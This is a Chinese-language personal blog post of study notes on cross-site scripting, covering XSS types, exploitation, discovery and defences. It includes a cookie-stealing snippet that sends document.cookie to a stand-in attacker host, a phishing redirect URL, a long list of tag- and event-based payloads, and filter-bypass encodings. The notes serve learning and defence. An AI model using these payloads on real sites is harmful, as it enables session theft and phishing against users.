前端Hack之XSS攻击个人学习笔记

简单概述


       此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任何错误,敬请各位读者斧正。其中有许多内容属于相关书籍、文章的部分摘取,如有侵权,请联系我修改。(asp-php#foxmail.com)

1) 什么是XSS?


       XSS(Cross-Site Script,跨站脚本)是由于web应用程序对用户的输入过滤不足而产生的一种漏洞。攻击者可以利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些带有恶意代码的网页时就会执行其中的恶意代码,对受害者产生各种攻击。

       如果对以上描述还不是很了解的话,可以参考百度百科
       在余弦大大xisigr大大的书籍《Web前端安全技术揭秘》第三章中这样说道:

跨站脚本的重点不在“跨站”上,而应该在“脚本”上…因为这个“跨”实际上属于浏览器的特性,而不是缺陷,造成“跨”的假象是因为绝大多数的XSS攻击都会采用嵌入一段远程或者说第三方域上的脚本资源。

       确实,当攻击者的服务器上的js嵌入到受害者的页面,至于接下来的攻击就是关于“脚本”的事了。

2) XSS可以带来哪些危害?

       对于XSS攻击的危害,大多数的人们却没有正确的认识,实际上攻击者可以利用XSS攻击造成巨大的危害。比如:

  • 网页挂马;
  • 盗取Cookie;
  • DoS攻击;
  • 钓鱼攻击;
  • 蠕虫攻击;
  • 劫持用户web行为;
  • 结合CSRF进行针对性攻击;
  • ······

这些都是可以利用XSS漏洞来达成的。

3) XSS类型

目前的XSS总共可以分为三种类型:

  • 反射型(也叫非持久型)
  • 存储型(也叫持久型)
  • DOM型

PS:前两种XSS都会与服务器产生交互,后一种不会产生交互。(某安全大佬面试)

反射型XSS


       反射型XSS,也称非持久型XSS,最常见也是使用最广的一种。在反射型XSS中,payload一般存在于网页的Url中,只用户单击时触发,只执行一次,非持久化,故称反射型XSS。攻击者发送恶意Url链接让受害者点击(一般会对payload部分进行处理,如:编码转换和短域名跳转)

       由于篇幅问题,关于反射型XSS我就不做过多简述。
       有的人认为反射型XSS需要用户已经登陆的情况下才能利用,其实不然。我们可以通过反射型xss让浏览器远程嵌入我们的js文件,然后配合浏览器漏洞进行RCE攻击。这里给出个相近的例子:记一次从DOM型XSS到RCE过程

存储型XSS

       存储型XSS,也称持久型XSS,攻击者首先将恶意javascript代码上传或存储到漏洞服务器中,只要受害者浏览包含此恶意javascript页面就会执行恶意代码,不需要用户点击特定Url就能执行,故存储型XSS比反射型XSS更具威胁性。— 《XSS跨站脚本攻击剖析与防御》
       存储型XSS与反射型XSS最大的区别就在于提交的XSS代码会储存于服务端,下次再访问目标页面时不用再提交XSS代码。—《Web前端黑客技术揭秘》

DOM型XSS

       许多朋友对反射型XSS和存储型XSS都比较清楚,可是却不太了解什么是DOM型XSS,没关系,看完这里你就应该会对DOM型XSS有个大概认识
       DOM,即Document Object Model(文件对象模型)的缩写,关于DOM的概念想了解的朋友可以在百度百科得到相应的解答。

       DOM型XSS是如何产生的?我们知道,客户端javascipt是可以访问浏览器的DOM文本对象模型,如果没有经过适当的过滤和消毒,那么应用程序可能会受到基于DOM的XSS攻击。
       在的《白帽子讲Web安全》是这样讲的:

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS,也就是DOM型XSS。

       举个简单的例子(来自《Web前端黑客技术揭秘》):

1
2
3
4
5
6
7
8
<html>
...
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
...
</html>

       把以上代码保存为1.html,然后打开浏览器访问http://127.0.0.1/1.html#a=test
       我们知道这是个静态页面,而且#后边的内容并不会传给服务器。
访问结果
       可是这样就不会产生XSS漏洞了吗?如果我们访问
http://127.0.0.1/.html#a=<script>alert(/xss/)</script>
       当我们访问上述url时,服务器会返回源代码,我们可以用抓包工具截取,发现与正常访问的页面无差别,可是当浏览器收到源代码时便把HTML文本解析成DOM对象并执行,结果弹出/xss/消息框,感兴趣的朋友可以试试。
       具体执行过程如图:来自《黑客攻防技术宝典Web实战篇》

4) XSS的利用方式

       前面我们介绍了各种XSS的特点及产生方式,现在我们来说说如何利用这些漏洞。

Cookie窃取

       Cookie盗取是xss攻击中最实用也是最广泛的一种利用方式之一。我们知道Cookie是Web系统识别用户的身份和保存会话状态的主要机制,且是由服务器提供的、存储在客户端的一种数据。同时,对于cookie的操作十分的方便,我们可以通过Document对象访问Cookie。如:<script>alert(document.cookie)</script>会弹出当前页面的cookie信息。


       这里我们引入一个叫做“同源策略”的概念:

首先,同“源”的源不单单是指两个页面的主域名,还包括这两个域名的协议、端口号和子级域名相同。举个例子,假设我现在有一个页面http://www.a.com/index.html,域名是 www.a.com,二级域名为 www,协议是 http,端口号是默认的 80,这个页面的同源情况如下:
       同源策略存在的意义就是为了保护用户的信息的安全。一般网站都会把关于用户的一些敏感信息存在浏览器的 cookie 当中试想一下,如果没有同源策略的保护,那么 b 页面也可以随意读取 a 页面存储在用户浏览器 cookie 中的敏感信息,就会造成信息泄露。如果用户的登录状态被恶意网站能够随意读取,那后果不堪设想。由此可见,同源策略是非常必要的,可以说是浏览器安全的基石。
       除了 cookie 的访问受到同源策略的限制外,还有一些操作也同样受到同源策略的限制:
       (1) 无法读取非同源网页的 Cookie 、sessionStorage 、localStorage 、IndexedDB
       (2) 无法读写非同源网页的 DOM
       (3) 无法向非同源地址发送 AJAX请求(可以发送,但浏览器会拒绝响应而报错)

       ————引自晚风表哥在信安之路上的投稿文章《同源策略与跨域请求》


       我们知道Cookie有如下常见的属性:

  • Domain————设置关联Cookie的域名;
  • Expires————通过给定一个过期时间来创建一个持久化Cookie;
  • Httponly————用于避免Cookie被Javascript访问;
  • Name————Cookie的名称;
  • Path————关联到Cookie的路径,默认为/;
  • Value————读写Cookie的值;
  • Secure————用于指定Cookie需要通过安全Socket层传递连接;

       并且Cookie也可以安装类型分为:

  • 本地Cookie————即储存在计算机硬盘中,关闭浏览器后依旧存在;
  • 内存Cookie————即储存在内存中,随浏览器的关闭而消失;

       如何区分两者很简单,只要判断cookie中的expires即过期时间属性有没有设置,如果设置了即为本地cookie,反之为内存cookie。
       由于Cookie具有的不同属性,我们可以将不同属性的Cookie盗取方式分为以下几种情况

默认

       默认情况,即不对Cookie的任何属性进行指定就设置Cookie的情况。这种情况下Cookie的获取最为简单。可以通过下列方式获取

1
2
3
<script>
new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;
</script>

不同域

       这是由于domain字段的机制导致的。一个Cookie如果不知道domain的值,则默认为本域
       例如有两个网站www.a.comtest.a.com且后者存在xss漏洞,按照同源策略,这两个网站是不同源的,默认情况下我们无法直接从test.a.com获取到www.a.com的Cookie,可是如果www.a.com的Cookie值中的domain属性设置为父级域即a.com,就可以通过test.a.com的xss漏洞获取到www.a.com的Cookie值。

不同路径

       这是由于path字段的机制导致的。在设置Cookie时,如果不指定path的值,默认就是目标页面的路径。比如在www.a.com/admin/index.php设置cookie值且不知道path,那么path默认为/admin/。javascript可以指定任意路径的cookie,但是只有对于path值的目录下才能读取Cookie,即上述例子中只有/admin/目录下的javascipt才能读取前边设置的Cookie。

Http Only

       HttpOnly是指仅在Http层面上传输的Cookie,当设置了HttpOnly标志后,客户端脚本就无法读取该Cookie,这样做能有效防御XSS攻击获取Cookie,也是目前防御XSS的主流手段之一。不过利用某些特定方式也可以同样读取到标志了HttpOnly的Cookie。

  • 利用调试信息,如:PHP的phpinfo()和Django的调试信息,里边都记录了Cookie的值,且标志了HttpOnly的Cookie也同样可以获取到。
  • 利用Apache Http Server 400错误暴露HttpOnly Cookie的特点。

感兴趣的朋友可以查阅相关资料(《Web前端黑客技术揭秘》p36-39)

Secure

       Secure是指设置了Secure的Cookie尽在HTTPS层面上进行安全传输,如果请求是HTTP的,则不会带上改Cookie,这样做的好处是可以降低Cookie对中间人攻击获取的风险,不过对我们此处讨论的XSS攻击无拦截效果,可通过默认情况下获取。

P3P

       HTTP响应头的P3P字段可以用于标识是否允许目标网站的Cookie被另一域通过加载目标网站而设置或发送,据说仅IE支持(17年)。
       我们来举个例子,在A域通过iframe等方式加载B域(此时也称B域为第三方域),如果我们想通过B域来设置A域的Cookie,或加载B域时带上B域的Cookie,这时就得涉及到P3P。

B域设置A域Cookie

       在IE下默认是不允许第三方域设置的的,除非A域在响应头带上P3P字段。当响应头头带上P3P后,IE下第三方域即可进行对A域Cookie的设置,且设置的Cookie会带上P3P属性,一次生效,即使之后没有P3P头也有效。

加载B域时Cookie传入问题

       我们知道Cookie分为内存Cookie和本地Cookie,当我们通过A域加载B域时,默认是带内存Cookie加载(如果无内存Cookie则不带),而如果想要带本地Cookie加载,则本地Cookie必须带P3P属性。

会话劫持

       由于Cookie的不安全性,开发者们开始使用一些更为安全的认证方式——Session。
       这里引用《XSS跨站脚本攻击剖析与防御》p51-52页的内容

       Session的中文意思是会话,其实就是访问者从到达特定主页到离开的那段时间,在这个过程中,每个访问者都会得到一个单独的Session。Session是给予访问的进程,记录了一个访问的开始到结束,搭档浏览器或进程关闭之后,Session也就“消失”了。
       在Session机制中,客户端和服务端也有被其他人利用的可能。
       Session和Cookie最大的区别在于:Session是保存在服务端的内存里面,而Cookie保存于浏览器或客户端文件里面

       这里提到Session是因为我们在现实情况中可能会出现已经获取到了Cookie,但是由于用户已经退出了浏览器指示Session无效,导致我们无法通过Cookie欺骗来获取用户权限;又比如有的网站设置了HttpOnly,获取不到Cookie;再者有的网站将Cookie与客户端IP向绑定;此时我们便可以利用会话劫持来达到目的。
       会话劫持的实质就是模拟GET/POST请求(带Cookie)通过受害者浏览器发送给服务器,我们可以通过下面的方式来完成。

  • 通过javascript控制DOM对象来发起一个GET请求,如:

    1
    2
    3
    var img = document.creatElement("img");
    img.src = "http://www.a.com/del.php?id=1";
    document.body.appendChild(img);
  • 通过javascript自动构造隐藏表单并提交(POST)

  • 通过XMLHttpRequest直接发送一个POST请求

       我们可以通过构造的GET/POST请求来实现如添加管理员、删除文章、上传文件等操作。XSS蠕虫从某种意义上来说也属于会话劫持。

钓鱼

       现在一般我们都可以很容易的防范钓鱼网站,可是当钓鱼网站与XSS漏洞结合呢?设想一下,如mail.qq.com的页面存在XSS漏洞,攻击者通过iframe替换了原来的页面成钓鱼页面,并且网页的Url还是原来的页面,你是否能察觉出来?

XSS重定向钓鱼

       即从www.a.com通过xss漏洞跳转到www.b.com的钓鱼页面上,整个过程变化明显,受害者易察觉。

1
http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>

HTML注入式钓鱼

       通过javascript来修改页面的DOM对象属性,或在原页面中添加新的DOM元素。前者相对于后者更隐蔽。

Iframe

       攻击者通过javascript来添加一个新的<Iframe>标签嵌入第三方域的内容(钓鱼网页),此时主页面仍处于正常页面下,具有极高的迷惑性。

5) XSS漏洞的挖掘

       就目前而言,XSS漏洞的挖掘主要分为白盒审计和黑盒Fuzz两种。

白盒审计

       通过查看源代码来判断网站的交互点是否存在安全过滤。由于此处涉及代码审计内容(其实就是懒),就细说,这里直接引用书中总结的。

分析源代码挖掘XSS的一般思路是:查找可能在页面输出的变量,检验它们是否受到控制,然后跟踪这些变量的传递过程,分析它们是否被htmlencode()之类的函数过滤

黑盒审计

       这个可得好好说说了,毕竟我们在现实环境中挖掘XSS漏洞时黑盒的情况偏多。我们进行XSS黑盒测试时主要分为手工检测和工具检测。

手工检测

       首先我们需要尽可能地找到目标的每个输入输出点并挨个尝试;在进行尝试的时候,我们应优先选择特殊字符进行测试,如"<>&;/':等,如果连<>都未过滤/转义,那么该输入点很可能存在XSS漏洞。
       如果<>等标记符号都被过滤/转义了,我们也可以使用标签自身的属性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)来触发XSS,如
<input name="xx" value=<?=$query?>>这里的$query属于动态内容,我们把他替换成恶意代码,最终的代码为<input name="xx" value=xss onmouseover=evil_script>
       一般来说,针对输入框的黑盒测试可能存在反射型XSS,也可能存在存储型XSS,还有可能是DOM型,针对Url参数的黑盒测试绝大多数只存在反射型XSS或DOM型XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
常见标签
<img>标签
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<!--CSS标记xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>标签
标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input标签
标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>标签
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>标签
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64编码-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>
svg<>标签
<svg onload=alert(1)>
iframe
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

——引自wkend的文章《XSS小节》

工具检测

       关于XSS的自动检测软件有许多,如Burp的Scan模块,BruteXSS等,这里不做过多解释。

6) shellcode的绕过

绕过XSS-Filter

       XSS-Filter是一段基于黑名单的过滤函数,大多数CMS都有这么个函数,作用于用户的每一个输入点,用于过滤可能的恶意代码。不过从某种意义上来说,基于黑名单的保护是一定不会是安全的,由于XSS的多变性,几乎不可能存在完全地过滤。

空格回车和Tab

       对XSS-Filter而言,如果仅仅是将函数加入黑名单处理,那么可以在函数名称之中尝试加入空格、回车、Tab等键位符来进行绕过。这是由于在javascript中只会将;作为语句的终止符,当浏览器引擎解析javascript脚本时没有匹配到;便会继续处理,知道发现下个分号为止,而换行符并不是终止符。如下列代码可绕过对关键字javascript|alert的过滤:

1
2
3
<img src=javasc
ript:aler
t(/xss/)>

IE6下测试成功

对标签属性值进行转码

       HTML中属性值支持ASCII码形式,如

1
<img src="javascript:alert('xss');">

       替换成

1
<img src="javascrip&#116&#58alert('xss');">

       其中在ASCII表中116为t,58为:
       也可以将&#01,&#02等插入javascript的头部,还可以将tab(&#09)|换行符(&#10)|回车键(&#13)插入到代码中的任意位置。

Fuzz标签未过滤事件名

       如<img src=x onerror=alert(/xss/)>其中的onerror即为IMG标签的一个事件,通常这样的事件都是以on开头,常见的有:

1
2
3
4
5
6
7
8
9
onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover

       除此之外还有很多事件可以利用,这里不再一一列举。

使用Css绕过

       利用Css样式表可以执行javascript的特性,如
       Css直接执行javascript:

1
2
3
4
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert('xss')");}
</style>

       css中使用expression执行javascript:

1
2
3
4
5
<div style="width: expression(alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/))">
<style>
body {background-image:expression("alert('xss')");}
</style>

       在上述的两个例子中,都用到了样式表的url属性来执行XSS代码。
       除了上述两种,还可以利用@import直接执行javascript代码

1
2
3
<style>
@import 'javascript:alert("xss")';
</style>

       在现实环境下,HTML页面中的Css与Javascript的嵌入方式很相似,且Css也可以执行javascript代码,故我们的XSS代码也可以通过嵌入远程恶意css文件来进行XSS攻击。

扰乱规则

  • 大小写变换;
  • 利用expression执行跨站代码的时候,可以构造不同的全角字符来扰乱过滤规则;
  • 结合样式表注释字符/**/,通过css执行javascript
  • 样式标签会过滤\\0,可以构造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'绕过
  • Css关键字进行编码处理,如<p style="xss:\0065xpression(alert(/xss/))">其中65为字母e进行unicode编码后的数字部分
  • 利用浏览器解析注释的问题

利用字符编码

       javascript支持许多的编码格式,如:

  • unicode
  • escapes
  • 十六|十|八进制

如果能将这些编码格式运用进跨站攻击,无意能大大加强XSS的威力
在IE下甚至支持JScript Encode加密后的代码

拆分法

       如果一个网站规定了输入的最大长度,但是ShellCode又太长,那么久可以拆分成几个部分,最后在组成起来。相关文章:《疯狂的跨站之行》剑心(非原链接)

7) XSS防御

       说了那么多,那我们该如何防御这看似防不胜防的XSS攻击呢?

输入

       严格控制用户可输入的范围,如手机号只能输入数字且长度不能大于11位等,如需输入某些敏感字符的情况下可对数据进行转义处理,对于用户数据的过滤尽可能地采用白名单而不是黑名单。

输出

       减少不必要的输出,在需要输出的地方使用HTML编码将敏感字符转义为实体符,javascript进行DOM操作时注意不要将已转义的实体符再次解析成DOM对象。

其他

       设置HttpOnly,开启WAF。

写在最后

       感谢参考资料中各位分享技术的大牛,小弟才笔有限,仅仅介绍了XSS攻击中的一部分,仍有一部分由于种种原因我没有写进来。比如整篇文章都是Javascript,实际上在遇到XSS问题时我们还需考虑VBscript、Actionscript等等,还有许多优秀的案例由于篇幅问题无法写上了,可能会导致部分读者理解不全面,在这里向大家说声抱歉,我会在下面的参考中列出我参考的书籍与文章供各位读者查看。XSS的学习暂时放下了,下一站——SQL注入,虽然对此有些浅显的认知,但还是希望能系统的学一遍,可能会在下个月发出来,感兴趣的读者可以关注我的博客(www.0x002.com)。

参考资料


书籍:
《Web前端黑客技术揭秘》
《XSS跨站脚本攻击剖析与防御》
《白帽子讲Web安全》
《黑客攻防技术宝典Web实战篇》第二版
文章:

XSS小结
浅说 XSS 和 CSRF
Session攻击手段(会话劫持/固定)及其安全防御措施

附录

https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精华
https://github.com/rajeshmajumdar/BruteXSS BruteXSS
https://github.com/beefproject/beef Beef神器
https://github.com/1N3/XSSTracer 用于检查跨站点跟踪的小型python脚本
https://github.com/0x584A/fuzzXssPHP 一个非常简单的反射XSS扫描仪支持GET/POST
https://github.com/chuhades/xss_scan 反射xss扫描器
https://github.com/BlackHole1/autoFindXssAndCsrf 浏览器的插件,它自动检查页面是否具有xss和漏洞
https://github.com/shogunlab/shuriken xss命令行工具用于测试web应用程序中xss负载列表
https://github.com/UltimateHackers/XSStrike 用于XSS、WAF检测和旁路的模糊和蛮力参数
https://github.com/stamparm/DSXS 一个完全功能的跨站点脚本漏洞扫描器,支持获取和发布参数,并写入100行代码

文章作者: Yunen
文章链接: https://www.0x002.com/2019/前端Hack之XSS攻击个人学习笔记/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Yunen's Blog

评论